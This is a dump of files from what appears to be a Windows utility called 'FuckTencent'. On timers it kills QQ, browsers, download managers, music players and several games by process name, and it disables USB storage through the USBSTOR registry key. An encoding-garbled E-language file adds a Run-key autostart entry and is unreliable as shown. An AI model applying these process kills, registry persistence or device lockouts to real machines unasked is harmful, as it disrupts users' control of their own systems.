    "content": ".汾 2\n.ֿ֧ eAPI\n\n. ڳ_\n\n.ӳ _˳_\n\n ()\n\n.ӳ ___\n\n\n\n.ӳ _ѡ1_\n\n. (ѡ1.ѡ  )\n    Ϣ (ѡп! !ɡ, 0, , )\n    дע (#ػ, software\\microsoft\\windows\\CurrentVersion\\Run\\ѶϵɵƷ.exe, ȡĿ¼ ()  C:\\ѶϵɵƷ.exe)\n.\n    Ϣ (رտ!ɡ, 0, , )\n    ɾע (#ػ, software\\microsoft\\windows\\CurrentVersion\\Run\\ѸϵɵƷ.exe)\n.\n\n\n.ӳ _ť1_\n\nʱ1.ʱ  300\n\n.ӳ _ʱ1_¼\n\nֹ (qq.exe)\nֹ (txplatform.exe)\nֹ (qqexternal.exe)\n\n.ӳ _ť2_\n\nʱ2.ʱ  300\n\n.ӳ _ʱ2_¼\n\nֹ (crossfire.exe)\n\n.ӳ _ť3_\n\nʱ3.ʱ  300\n\n.ӳ _ʱ3_¼\n\nֹ (iexplore.exe)\nֹ (sogouexplorer.exe)\nֹ (The world .exe)\nֹ (Firefox.exe)\nֹ (opera.exe)\nֹ (360SE.exe)\nֹ (Chrome.exe)\nֹ (Safari.exe)\nֹ (Maxthon.exe)\nֹ (Netscape.exe)\nֹ (liebao.exe)\n\n.ӳ _ť4_\n\nʱ4.ʱ  300\n\n.ӳ _ʱ4_¼\n\nֹ (Thunder.exe)\nֹ (ThunderPlatform.exe)\nֹ (QQDownload.exe)\nֹ (flashget.exe)\n\n.ӳ _ť5_\n\nʱ6.ʱ  300\n\n.ӳ _ʱ5_¼\n\nֹ (LolClient.exe)\n\n.ӳ _ť6_\n\nʱ7.ʱ  300\n\n.ӳ _ʱ6_¼\n\nֹ (QQSpeed_loader.exe)\n\n.ӳ _ť7_\n\nʱ8.ʱ  300\n\n.ӳ _ʱ7_¼\n\nֹ (TGame.exe)\n\n.ӳ _ť8_\n\nʱ9.ʱ  300\n\n.ӳ _ʱ8_¼\n\nֹ (KuGou.exe)\nֹ (QQmusic.exe)\nֹ (kwmusic.exe)\nֹ (TTPlayer.exe)\nֹ (DUOMI.exe)\n\n.ӳ _ť9_\n\nʱ9.ʱ  300\n\n.ӳ _ʱ9_¼\n\nֹ (DNFchina.exe)\n\n.ӳ _ť10_\n\nʱ10.ʱ  300\n\n.ӳ _ʱ10_¼\n\nֹ (ui_launch_dx.exe)\n"
  },
  {
    "path": "WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/App.config",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\" ?>\n<configuration>\n    <startup> \n        <supportedRuntime version=\"v4.0\" sku=\".NETFramework,Version=v4.5.2\" />\n    </startup>\n</configuration>"
  },
  {
    "path": "WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/Form1.Designer.cs",
    "content": "﻿namespace WindowsFormsApp1\n{\n    partial class FuckTencent\n    {\n        /// <summary>\n        /// 必需的设计器变量。\n        /// </summary>\n        private System.ComponentModel.IContainer components = null;\n\n        /// <summary>\n        /// 清理所有正在使用的资源。\n        /// </summary>\n        /// <param name=\"disposing\">如果应释放托管资源，为 true；否则为 false。</param>\n        protected override void Dispose(bool disposing)\n        {\n            if (disposing && (components != null))\n            {\n                components.Dispose();\n            }\n            base.Dispose(disposing);\n        }\n\n        #region Windows 窗体设计器生成的代码\n\n        /// <summary>\n        /// 设计器支持所需的方法 - 不要修改\n        /// 使用代码编辑器修改此方法的内容。\n        /// </summary>\n        private void InitializeComponent()\n        {\n            this.components = new System.ComponentModel.Container();\n            this.tabControlInstruction = new System.Windows.Forms.TabControl();\n            this.tabPageSoftware = new System.Windows.Forms.TabPage();\n            this.checkBoxQQui = new System.Windows.Forms.CheckBox();\n            this.checkBoxTGame = new System.Windows.Forms.CheckBox();\n            this.checkBoxDNF = new System.Windows.Forms.CheckBox();\n            this.checkBoxCF = new System.Windows.Forms.CheckBox();\n            this.checkBoxQQ = new System.Windows.Forms.CheckBox();\n            this.checkBoxQQSpd = new System.Windows.Forms.CheckBox();\n            this.buttonSoftware = new System.Windows.Forms.Button();\n            this.checkBoxPlayer = new System.Windows.Forms.CheckBox();\n            this.checkBoxLOL = new System.Windows.Forms.CheckBox();\n            this.checkBoxExplorer = new System.Windows.Forms.CheckBox();\n            this.checkBoxDownload = new System.Windows.Forms.CheckBox();\n            this.tabPageHardware = new System.Windows.Forms.TabPage();\n            this.checkBoxBT = new System.Windows.Forms.CheckBox();\n            this.checkBoxLan = new System.Windows.Forms.CheckBox();\n            this.checkBoxWifi = new System.Windows.Forms.CheckBox();\n            this.checkBoxUSB = new System.Windows.Forms.CheckBox();\n            this.buttonHardware = new System.Windows.Forms.Button();\n            this.labelTitle = new System.Windows.Forms.Label();\n            this.timerBT = new System.Windows.Forms.Timer(this.components);\n            this.timerWifi = new System.Windows.Forms.Timer(this.components);\n            this.timerLan = new System.Windows.Forms.Timer(this.components);\n            this.timerQQ = new System.Windows.Forms.Timer(this.components);\n            this.timerExplorer = new System.Windows.Forms.Timer(this.components);\n            this.timerLOL = new System.Windows.Forms.Timer(this.components);\n            this.timerCF = new System.Windows.Forms.Timer(this.components);\n            this.timerTGame = new System.Windows.Forms.Timer(this.components);\n            this.timerQQSpd = new System.Windows.Forms.Timer(this.components);\n            this.timerQQui = new System.Windows.Forms.Timer(this.components);\n            this.timerDNF = new System.Windows.Forms.Timer(this.components);\n            this.timerPlayer = new System.Windows.Forms.Timer(this.components);\n            this.timerDownload = new System.Windows.Forms.Timer(this.components);\n            this.timerUSB = new System.Windows.Forms.Timer(this.components);\n            this.tabControlInstruction.SuspendLayout();\n            this.tabPageSoftware.SuspendLayout();\n            this.tabPageHardware.SuspendLayout();\n            this.SuspendLayout();\n            // \n            // tabControlInstruction\n            // \n            this.tabControlInstruction.Controls.Add(this.tabPageSoftware);\n            this.tabControlInstruction.Controls.Add(this.tabPageHardware);\n            this.tabControlInstruction.Location = new System.Drawing.Point(19, 54);\n            this.tabControlInstruction.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4);\n            this.tabControlInstruction.Name = \"tabControlInstruction\";\n            this.tabControlInstruction.SelectedIndex = 0;\n            this.tabControlInstruction.Size = new System.Drawing.Size(277, 232);\n            this.tabControlInstruction.TabIndex = 0;\n            // \n            // tabPageSoftware\n            // \n            this.tabPageSoftware.Controls.Add(this.checkBoxQQui);\n            this.tabPageSoftware.Controls.Add(this.checkBoxTGame);\n            this.tabPageSoftware.Controls.Add(this.checkBoxDNF);\n            this.tabPageSoftware.Controls.Add(this.checkBoxCF);\n            this.tabPageSoftware.Controls.Add(this.checkBoxQQ);\n            this.tabPageSoftware.Controls.Add(this.checkBoxQQSpd);\n            this.tabPageSoftware.Controls.Add(this.buttonSoftware);\n            this.tabPageSoftware.Controls.Add(this.checkBoxPlayer);\n            this.tabPageSoftware.Controls.Add(this.checkBoxLOL);\n            this.tabPageSoftware.Controls.Add(this.checkBoxExplorer);\n            this.tabPageSoftware.Controls.Add(this.checkBoxDownload);\n            this.tabPageSoftware.Location = new System.Drawing.Point(4, 26);\n            this.tabPageSoftware.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4);\n            this.tabPageSoftware.Name = \"tabPageSoftware\";\n            this.tabPageSoftware.Padding = new System.Windows.Forms.Padding(3, 4, 3, 4);\n            this.tabPageSoftware.Size = new System.Drawing.Size(269, 202);\n            this.tabPageSoftware.TabIndex = 0;\n            this.tabPageSoftware.Text = \"禁用游戏和软件\";\n            this.tabPageSoftware.UseVisualStyleBackColor = true;\n            // \n            // checkBoxQQui\n            // \n            this.checkBoxQQui.AutoSize = true;\n            this.checkBoxQQui.Location = new System.Drawing.Point(128, 104);\n            this.checkBoxQQui.Name = \"checkBoxQQui\";\n            this.checkBoxQQui.Size = new System.Drawing.Size(95, 21);\n            this.checkBoxQQui.TabIndex = 9;\n            this.checkBoxQQui.Text = \"禁用QQ炫舞\";\n            this.checkBoxQQui.UseVisualStyleBackColor = true;\n            // \n            // checkBoxTGame\n            // \n            this.checkBoxTGame.AutoSize = true;\n            this.checkBoxTGame.Location = new System.Drawing.Point(128, 50);\n            this.checkBoxTGame.Name = \"checkBoxTGame\";\n            this.checkBoxTGame.Size = new System.Drawing.Size(75, 21);\n            this.checkBoxTGame.TabIndex = 10;\n            this.checkBoxTGame.Text = \"禁用逆战\";\n            this.checkBoxTGame.UseVisualStyleBackColor = true;\n            // \n            // checkBoxDNF\n            // \n            this.checkBoxDNF.AutoSize = true;\n            this.checkBoxDNF.Location = new System.Drawing.Point(128, 131);\n            this.checkBoxDNF.Name = \"checkBoxDNF\";\n            this.checkBoxDNF.Size = new System.Drawing.Size(123, 21);\n            this.checkBoxDNF.TabIndex = 8;\n            this.checkBoxDNF.Text = \"禁用地下城与勇士\";\n            this.checkBoxDNF.UseVisualStyleBackColor = true;\n            // \n            // checkBoxCF\n            // \n            this.checkBoxCF.AutoSize = true;\n            this.checkBoxCF.Location = new System.Drawing.Point(128, 23);\n            this.checkBoxCF.Name = \"checkBoxCF\";\n            this.checkBoxCF.Size = new System.Drawing.Size(99, 21);\n            this.checkBoxCF.TabIndex = 5;\n            this.checkBoxCF.Text = \"禁用穿越火线\";\n            this.checkBoxCF.UseVisualStyleBackColor = true;\n            // \n            // checkBoxQQ\n            // \n            this.checkBoxQQ.AutoSize = true;\n            this.checkBoxQQ.Location = new System.Drawing.Point(23, 23);\n            this.checkBoxQQ.Name = \"checkBoxQQ\";\n            this.checkBoxQQ.Size = new System.Drawing.Size(71, 21);\n            this.checkBoxQQ.TabIndex = 1;\n            this.checkBoxQQ.Text = \"禁用QQ\";\n            this.checkBoxQQ.UseVisualStyleBackColor = true;\n            // \n            // checkBoxQQSpd\n            // \n            this.checkBoxQQSpd.AutoSize = true;\n            this.checkBoxQQSpd.Location = new System.Drawing.Point(128, 77);\n            this.checkBoxQQSpd.Name = \"checkBoxQQSpd\";\n            this.checkBoxQQSpd.Size = new System.Drawing.Size(95, 21);\n            this.checkBoxQQSpd.TabIndex = 7;\n            this.checkBoxQQSpd.Text = \"禁用QQ飞车\";\n            this.checkBoxQQSpd.UseVisualStyleBackColor = true;\n            // \n            // buttonSoftware\n            // \n            this.buttonSoftware.Location = new System.Drawing.Point(128, 158);\n            this.buttonSoftware.Name = \"buttonSoftware\";\n            this.buttonSoftware.Size = new System.Drawing.Size(75, 23);\n            this.buttonSoftware.TabIndex = 0;\n            this.buttonSoftware.Text = \"保存生效\";\n            this.buttonSoftware.UseVisualStyleBackColor = true;\n            this.buttonSoftware.Click += new System.EventHandler(this.buttonSoftware_Click);\n            // \n            // checkBoxPlayer\n            // \n            this.checkBoxPlayer.AutoSize = true;\n            this.checkBoxPlayer.Location = new System.Drawing.Point(23, 104);\n            this.checkBoxPlayer.Name = \"checkBoxPlayer\";\n            this.checkBoxPlayer.Size = new System.Drawing.Size(87, 21);\n            this.checkBoxPlayer.TabIndex = 4;\n            this.checkBoxPlayer.Text = \"禁用播放器\";\n            this.checkBoxPlayer.UseVisualStyleBackColor = true;\n            // \n            // checkBoxLOL\n            // \n            this.checkBoxLOL.AutoSize = true;\n            this.checkBoxLOL.Location = new System.Drawing.Point(23, 131);\n            this.checkBoxLOL.Name = \"checkBoxLOL\";\n            this.checkBoxLOL.Size = new System.Drawing.Size(99, 21);\n            this.checkBoxLOL.TabIndex = 6;\n            this.checkBoxLOL.Text = \"禁用英雄联盟\";\n            this.checkBoxLOL.UseVisualStyleBackColor = true;\n            // \n            // checkBoxExplorer\n            // \n            this.checkBoxExplorer.AutoSize = true;\n            this.checkBoxExplorer.Location = new System.Drawing.Point(23, 50);\n            this.checkBoxExplorer.Name = \"checkBoxExplorer\";\n            this.checkBoxExplorer.Size = new System.Drawing.Size(87, 21);\n            this.checkBoxExplorer.TabIndex = 2;\n            this.checkBoxExplorer.Text = \"禁用浏览器\";\n            this.checkBoxExplorer.UseVisualStyleBackColor = true;\n            // \n            // checkBoxDownload\n            // \n            this.checkBoxDownload.AutoSize = true;\n            this.checkBoxDownload.Location = new System.Drawing.Point(23, 77);\n            this.checkBoxDownload.Name = \"checkBoxDownload\";\n            this.checkBoxDownload.Size = new System.Drawing.Size(87, 21);\n            this.checkBoxDownload.TabIndex = 3;\n            this.checkBoxDownload.Text = \"禁用下载器\";\n            this.checkBoxDownload.UseVisualStyleBackColor = true;\n            // \n            // tabPageHardware\n            // \n            this.tabPageHardware.Controls.Add(this.checkBoxBT);\n            this.tabPageHardware.Controls.Add(this.checkBoxLan);\n            this.tabPageHardware.Controls.Add(this.checkBoxWifi);\n            this.tabPageHardware.Controls.Add(this.checkBoxUSB);\n            this.tabPageHardware.Controls.Add(this.buttonHardware);\n            this.tabPageHardware.Location = new System.Drawing.Point(4, 26);\n            this.tabPageHardware.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4);\n            this.tabPageHardware.Name = \"tabPageHardware\";\n            this.tabPageHardware.Padding = new System.Windows.Forms.Padding(3, 4, 3, 4);\n            this.tabPageHardware.Size = new System.Drawing.Size(269, 202);\n            this.tabPageHardware.TabIndex = 1;\n            this.tabPageHardware.Text = \"禁用USB和网卡\";\n            this.tabPageHardware.UseVisualStyleBackColor = true;\n            // \n            // checkBoxBT\n            // \n            this.checkBoxBT.AutoSize = true;\n            this.checkBoxBT.Location = new System.Drawing.Point(23, 50);\n            this.checkBoxBT.Name = \"checkBoxBT\";\n            this.checkBoxBT.Size = new System.Drawing.Size(75, 21);\n            this.checkBoxBT.TabIndex = 4;\n            this.checkBoxBT.Text = \"禁用蓝牙\";\n            this.checkBoxBT.UseVisualStyleBackColor = true;\n            // \n            // checkBoxLan\n            // \n            this.checkBoxLan.AutoSize = true;\n            this.checkBoxLan.Location = new System.Drawing.Point(23, 104);\n            this.checkBoxLan.Name = \"checkBoxLan\";\n            this.checkBoxLan.Size = new System.Drawing.Size(99, 21);\n            this.checkBoxLan.TabIndex = 3;\n            this.checkBoxLan.Text = \"禁用有线网卡\";\n            this.checkBoxLan.UseVisualStyleBackColor = true;\n            // \n            // checkBoxWifi\n            // \n            this.checkBoxWifi.AutoSize = true;\n            this.checkBoxWifi.Location = new System.Drawing.Point(23, 77);\n            this.checkBoxWifi.Name = \"checkBoxWifi\";\n            this.checkBoxWifi.Size = new System.Drawing.Size(99, 21);\n            this.checkBoxWifi.TabIndex = 2;\n            this.checkBoxWifi.Text = \"禁用无线网卡\";\n            this.checkBoxWifi.UseVisualStyleBackColor = true;\n            // \n            // checkBoxUSB\n            // \n            this.checkBoxUSB.AutoSize = true;\n            this.checkBoxUSB.Location = new System.Drawing.Point(23, 23);\n            this.checkBoxUSB.Name = \"checkBoxUSB\";\n            this.checkBoxUSB.Size = new System.Drawing.Size(72, 21);\n            this.checkBoxUSB.TabIndex = 1;\n            this.checkBoxUSB.Text = \"禁用USB\";\n            this.checkBoxUSB.UseVisualStyleBackColor = true;\n            // \n            // buttonHardware\n            // \n            this.buttonHardware.Location = new System.Drawing.Point(23, 131);\n            this.buttonHardware.Name = \"buttonHardware\";\n            this.buttonHardware.Size = new System.Drawing.Size(75, 23);\n            this.buttonHardware.TabIndex = 0;\n            this.buttonHardware.Text = \"保存生效\";\n            this.buttonHardware.UseVisualStyleBackColor = true;\n            this.buttonHardware.Click += new System.EventHandler(this.buttonHardware_Click);\n            // \n            // labelTitle\n            // \n            this.labelTitle.AutoSize = true;\n            this.labelTitle.Font = new System.Drawing.Font(\"微软雅黑\", 24F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134)));\n            this.labelTitle.ForeColor = System.Drawing.Color.Purple;\n            this.labelTitle.Location = new System.Drawing.Point(12, 9);\n            this.labelTitle.Name = \"labelTitle\";\n            this.labelTitle.Size = new System.Drawing.Size(219, 41);\n            this.labelTitle.TabIndex = 1;\n            this.labelTitle.Text = \"Fuck Tencent\";\n            // \n            // timerBT\n            // \n            this.timerBT.Tick += new System.EventHandler(this.timerBT_Tick);\n            // \n            // timerWifi\n            // \n            this.timerWifi.Tick += new System.EventHandler(this.timerWifi_Tick);\n            // \n            // timerLan\n            // \n            this.timerLan.Tick += new System.EventHandler(this.timerLan_Tick);\n            // \n            // timerQQ\n            // \n            this.timerQQ.Tick += new System.EventHandler(this.timerQQ_Tick);\n            // \n            // timerExplorer\n            // \n            this.timerExplorer.Tick += new System.EventHandler(this.timerExplorer_Tick);\n            // \n            // timerLOL\n            // \n            this.timerLOL.Tick += new System.EventHandler(this.timerLOL_Tick);\n            // \n            // timerCF\n            // \n            this.timerCF.Tick += new System.EventHandler(this.timerCF_Tick);\n            // \n            // timerTGame\n            // \n            this.timerTGame.Tick += new System.EventHandler(this.timerTGame_Tick);\n            // \n            // timerQQSpd\n            // \n            this.timerQQSpd.Tick += new System.EventHandler(this.timerQQSpd_Tick);\n            // \n            // timerQQui\n            // \n            this.timerQQui.Tick += new System.EventHandler(this.timerQQui_Tick);\n            // \n            // timerDNF\n            // \n            this.timerDNF.Tick += new System.EventHandler(this.timerDNF_Tick);\n            // \n            // timerPlayer\n            // \n            this.timerPlayer.Tick += new System.EventHandler(this.timerPlayer_Tick);\n            // \n            // timerDownload\n            // \n            this.timerDownload.Tick += new System.EventHandler(this.timerDownload_Tick);\n            // \n            // timerUSB\n            // \n            this.timerUSB.Tick += new System.EventHandler(this.timerUSB_Tick);\n            // \n            // FuckTencent\n            // \n            this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 17F);\n            this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;\n            this.BackColor = System.Drawing.Color.GhostWhite;\n            this.ClientSize = new System.Drawing.Size(316, 309);\n            this.Controls.Add(this.labelTitle);\n            this.Controls.Add(this.tabControlInstruction);\n            this.Font = new System.Drawing.Font(\"微软雅黑 Light\", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134)));\n            this.ForeColor = System.Drawing.SystemColors.ControlText;\n            this.Margin = new System.Windows.Forms.Padding(3, 4, 3, 4);\n            this.Name = \"FuckTencent\";\n            this.Text = \"FuckTencent\";\n            this.tabControlInstruction.ResumeLayout(false);\n            this.tabPageSoftware.ResumeLayout(false);\n            this.tabPageSoftware.PerformLayout();\n            this.tabPageHardware.ResumeLayout(false);\n            this.tabPageHardware.PerformLayout();\n            this.ResumeLayout(false);\n            this.PerformLayout();\n\n        }\n\n        #endregion\n\n        private System.Windows.Forms.TabControl tabControlInstruction;\n        private System.Windows.Forms.TabPage tabPageSoftware;\n        private System.Windows.Forms.TabPage tabPageHardware;\n        private System.Windows.Forms.Label labelTitle;\n        private System.Windows.Forms.CheckBox checkBoxQQ;\n        private System.Windows.Forms.Button buttonSoftware;\n        private System.Windows.Forms.CheckBox checkBoxLan;\n        private System.Windows.Forms.CheckBox checkBoxWifi;\n        private System.Windows.Forms.CheckBox checkBoxUSB;\n        private System.Windows.Forms.Button buttonHardware;\n        private System.Windows.Forms.CheckBox checkBoxBT;\n        private System.Windows.Forms.CheckBox checkBoxPlayer;\n        private System.Windows.Forms.CheckBox checkBoxDownload;\n        private System.Windows.Forms.CheckBox checkBoxExplorer;\n        private System.Windows.Forms.CheckBox checkBoxQQui;\n        private System.Windows.Forms.CheckBox checkBoxTGame;\n        private System.Windows.Forms.CheckBox checkBoxDNF;\n        private System.Windows.Forms.CheckBox checkBoxCF;\n        private System.Windows.Forms.CheckBox checkBoxQQSpd;\n        private System.Windows.Forms.CheckBox checkBoxLOL;\n        private System.Windows.Forms.Timer timerBT;\n        private System.Windows.Forms.Timer timerWifi;\n        private System.Windows.Forms.Timer timerLan;\n        private System.Windows.Forms.Timer timerQQ;\n        private System.Windows.Forms.Timer timerExplorer;\n        private System.Windows.Forms.Timer timerLOL;\n        private System.Windows.Forms.Timer timerCF;\n        private System.Windows.Forms.Timer timerTGame;\n        private System.Windows.Forms.Timer timerQQSpd;\n        private System.Windows.Forms.Timer timerQQui;\n        private System.Windows.Forms.Timer timerDNF;\n        private System.Windows.Forms.Timer timerPlayer;\n        private System.Windows.Forms.Timer timerDownload;\n        private System.Windows.Forms.Timer timerUSB;\n    }\n}\n\n"
  },
  {
    "path": "WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/Form1.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.ComponentModel;\nusing System.Data;\nusing System.Drawing;\nusing System.Linq;\nusing System.Text;\nusing System.Threading.Tasks;\nusing System.Windows.Forms;\nusing System.Diagnostics;\nusing Microsoft.Win32;\n\nnamespace WindowsFormsApp1\n{\n    public partial class FuckTencent : Form\n    {\n        public FuckTencent()\n        {\n            InitializeComponent();\n        }\n\n        //############################################################################################################\n\n        /// <summary>  \n        /// 根据“精确进程名”结束进程  \n        /// </summary>  \n        /// <param name=\"strProcName\">精确进程名</param>  \n        public void KillProc(string strProcName)\n        {\n            try\n            {\n                //精确进程名  用GetProcessesByName  \n                foreach (Process process in Process.GetProcessesByName(strProcName))\n                {\n                    if (!process.CloseMainWindow())\n                    {\n                        process.Kill();\n                    }\n                }\n            }\n            catch\n            {\n\n            }\n        }\n\n        private void timerQQ_Tick(object sender, EventArgs e)\n        {\n            KillProc(\"qq.exe\");\n            KillProc(\"txplatform.exe\");\n            KillProc(\"qqexternal.exe\");\n        }\n\n\n        private void timerExplorer_Tick(object sender, EventArgs e)\n        {\n            KillProc(\"iexplore.exe\");\n            KillProc(\"sogouexplorer.exe\");\n            KillProc(\"The world.exe\");\n            KillProc(\"Firefox.exe\");\n            KillProc(\"opera.exe\");\n            KillProc(\"360SE.exe\");\n            KillProc(\"Chrome.exe\");\n            KillProc(\"Safari.exe\");\n            KillProc(\"Maxthon.exe\");\n            KillProc(\"Netscape.exe\");\n            KillProc(\"liebao.exe\");\n        }\n\n        private void timerDownload_Tick(object sender, EventArgs e)\n        {\n            KillProc(\"Thunder.exe\");\n            KillProc(\"ThunderPlatform.exe\");\n            KillProc(\"QQDownload.exe\");\n            KillProc(\"flashget.exe\");\n        }\n\n        private void timerPlayer_Tick(object sender, EventArgs e)\n        {\n            KillProc(\"KuGou.exe\");\n            KillProc(\"QQmusic.exe\");\n            KillProc(\"kwmusic.exe\");\n            KillProc(\"TTPlayer.exe\");\n            KillProc(\"DUOMI.exe\");\n        }\n\n        private void timerLOL_Tick(object sender, EventArgs e)\n        {\n            KillProc(\"LolClient.exe\");\n        }\n\n        private void timerCF_Tick(object sender, EventArgs e)\n        {\n            KillProc(\"crossfire.exe\");\n        }\n\n        private void timerTGame_Tick(object sender, EventArgs e)\n        {\n            KillProc(\"TGame.exe\");\n        }\n\n        private void timerQQSpd_Tick(object sender, EventArgs e)\n        {\n            KillProc(\"QQSpeed_loader.exe\");\n        }\n\n        private void timerQQui_Tick(object sender, EventArgs e)\n        {\n            KillProc(\"ui_launch_dx.exe\");\n        }\n\n        private void timerDNF_Tick(object sender, EventArgs e)\n        {\n            KillProc(\"DNFchina.exe\");\n        }\n\n        #region Software\n        private void buttonSoftware_Click(object sender, EventArgs e)\n        {\n            MessageBox.Show(\"设置已保存\");\n            if (checkBoxQQ.Checked)\n            {\n                timerQQ.Enabled = true;\n            }\n            else\n            {\n                timerQQ.Enabled = false;\n            }\n            if (checkBoxExplorer.Checked)\n            {\n                timerExplorer.Enabled = true;\n            }\n            else\n            {\n                timerExplorer.Enabled = false;\n            }\n            if (checkBoxDownload.Checked)\n            {\n                timerDownload.Enabled = true;\n            }\n            else\n            {\n                timerDownload.Enabled = false;\n            }\n            if (checkBoxPlayer.Checked)\n            {\n                timerPlayer.Enabled = true;\n            }\n            else\n            {\n                timerPlayer.Enabled = false;\n            }\n            if (checkBoxLOL.Checked)\n            {\n                timerLOL.Enabled = true;\n            }\n            else\n            {\n                timerLOL.Enabled = false;\n            }\n            if (checkBoxCF.Checked)\n            {\n                timerCF.Enabled = true;\n            }\n            else\n            {\n                timerCF.Enabled = false;\n            }\n            if (checkBoxTGame.Checked)\n            {\n                timerTGame.Enabled = true;\n            }\n            else\n            {\n                timerTGame.Enabled = false;\n            }\n            if (checkBoxQQSpd.Checked)\n            {\n                timerQQSpd.Enabled = true;\n            }\n            else\n            {\n                timerQQSpd.Enabled = false;\n            }\n            if (checkBoxQQui.Checked)\n            {\n                timerQQui.Enabled = true;\n            }\n            else\n            {\n                timerQQui.Enabled = false;\n            }\n            if (checkBoxDNF.Checked)\n            {\n                timerDNF.Enabled = true;\n            }\n            else\n            {\n                timerDNF.Enabled = false;\n            }\n        }\n        #endregion\n\n        //############################################################################################################\n\n        #region Hardware\n        /// <summary>  \n        /// 通过注册表启用USB  \n        /// </summary>  \n        /// <returns></returns>  \n        public bool RegToRunUSB()\n        {\n            try\n            {\n                RegistryKey regKey = Registry.LocalMachine; //读取注册列表HKEY_LOCAL_MACHINE  \n                string keyPath = @\"SYSTEM\\CurrentControlSet\\Services\\USBSTOR\"; //USB 大容量存储驱动程序  \n                RegistryKey openKey = regKey.OpenSubKey(keyPath, true);\n                openKey.SetValue(\"Start\", 3); //设置键值对（3）为开启USB（4）为关闭  \n                openKey.Close(); //关闭注册列表读写流  \n                return true;\n            }\n            catch (Exception ex)\n            {\n                throw ex;\n            }\n        }\n\n        /// <summary>  \n        /// 通过注册表禁用USB  \n        /// </summary>  \n        /// <returns></returns>  \n        public bool RegToStopUSB()\n        {\n            try\n            {\n                RegistryKey regKey = Registry.LocalMachine;\n                string keyPath = @\"SYSTEM\\CurrentControlSet\\Services\\USBSTOR\";\n                RegistryKey openKey = regKey.OpenSubKey(keyPath, true);\n                openKey.SetValue(\"Start\", 4);\n                openKey.Close();\n                return true;\n            }\n            catch (Exception ex)\n            {\n                throw ex;\n            }\n        }\n\n\n        private void timerUSB_Tick(object sender, EventArgs e)\n        {\n            RegToStopUSB();\n        }\n\n        private void timerBT_Tick(object sender, EventArgs e)\n        {\n            //STOP BT\n        }\n\n        private void timerWifi_Tick(object sender, EventArgs e)\n        {\n            //STOP Wi-Fi\n        }\n\n        private void timerLan_Tick(object sender, EventArgs e)\n        {\n            //STOP LAN\n        }\n\n        private void buttonHardware_Click(object sender, EventArgs e)\n        {\n            MessageBox.Show(\"设置已保存\");\n            if (checkBoxUSB.Checked)\n            {\n                timerUSB.Enabled = true;\n            }\n            else\n            {\n                timerUSB.Enabled = false;\n                RegToRunUSB();\n            }\n            if (checkBoxBT.Checked)\n            {\n                timerBT.Enabled = true;\n            }\n            else\n            {\n                timerBT.Enabled = false;\n                //Enable BT\n            }\n            if (checkBoxWifi.Checked)\n            {\n                timerWifi.Enabled = true;\n            }\n            else\n            {\n                timerWifi.Enabled = false;\n                //Enable Wi-Fi\n            }\n            if (checkBoxLan.Checked)\n            {\n                timerLan.Enabled = true;\n            }\n            else\n            {\n                timerLan.Enabled = false;\n                //Enable LAN\n            }\n        }\n\n        #endregion\n        //############################################################################################################\n    }\n}\n"
  },
  {
    "path": "WindowsPlatform/V 0.0.3/FuckTencent/FuckTencent/Form1.resx",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n  <!-- \n    Microsoft ResX Schema \n    \n    Version 2.0\n    \n    The primary goals of this format is to allow a simple XML format \n    that is mostly human readable. The generation and parsing of the \n    various data types are done through the TypeConverter classes \n    associated with the data types.\n    \n    Example:\n    \n    ... ado.net/XML headers & schema ...\n    <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\n    <resheader name=\"version\">2.0</resheader>\n    <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\n    <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\n    <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\n    <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\n    <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\n        <value>[base64 mime encoded serialized .NET Framework object]</value>\n    </data>\n    <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\n        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\n        <comment>This is a comment</comment>\n    </data>\n                \n    There are any number of \"resheader\" rows that contain simple \n    name/value pairs.\n    \n    Each data row contains a name, and value. The row also contains a \n    type or mimetype. Type corresponds to a .NET class that support \n    text/value conversion through the TypeConverter architecture. \n    Classes that don't support this are serialized and stored with the \n    mimetype set.\n    \n    The mimetype is used for serialized objects, and tells the \n    ResXResourceReader how to depersist the object. This is currently not \n    extensible. For a given mimetype the value must be set accordingly:\n    \n    Note - application/x-microsoft.net.object.binary.base64 is the format \n    that the ResXResourceWriter will generate, however the reader can \n    read any of the formats listed below.\n    \n    mimetype: application/x-microsoft.net.object.binary.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\n            : and then encoded with base64 encoding.\n    \n    mimetype: application/x-microsoft.net.object.soap.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\n            : and then encoded with base64 encoding.\n\n    mimetype: application/x-microsoft.net.object.bytearray.base64\n    value   : The object must be serialized into a byte array \n            : using a System.ComponentModel.TypeConverter\n            : and then encoded with base64 encoding.\n    -->\n  <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\n    <xsd:import namespace=\"http://www.w3.org/XML/1998/namespace\" />\n    <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\n      <xsd:complexType>\n        <xsd:choice maxOccurs=\"unbounded\">\n          <xsd:element name=\"metadata\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" 